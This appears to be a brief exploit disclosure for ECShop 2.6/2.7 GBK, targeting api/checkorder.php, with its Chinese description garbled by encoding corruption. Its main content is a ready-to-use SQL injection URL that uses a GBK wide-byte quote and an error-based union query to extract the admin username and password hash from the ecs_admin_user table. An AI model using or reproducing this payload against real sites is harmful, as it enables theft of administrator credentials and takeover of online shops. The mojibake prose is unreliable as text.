ecshop עͨɱ2.6*2.7 GBK汾

[ecshop עͨɱ2.6*2.7 GBK汾 ȫ]
Ӱ汾ͨɱ2.6*2.7
ٷַEcshop.cn

©ͣע©
©Ecshop̳ǳ2.6/2.7Xapi/checkorder.phpҳ˲ϵSQLע뱩Աû©

 

עExp:http://localhost/ecshop/api/checkorder.php?username=%ce%27%20and%201=2%20union%20select%201%20and%20%28select%201%20from%28select%20count%28*%29,concat%28%28Select%20concat%280x5b,user_name,0x3a,password,0x5d%29%20FROM%20ecs_admin_user%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20%23
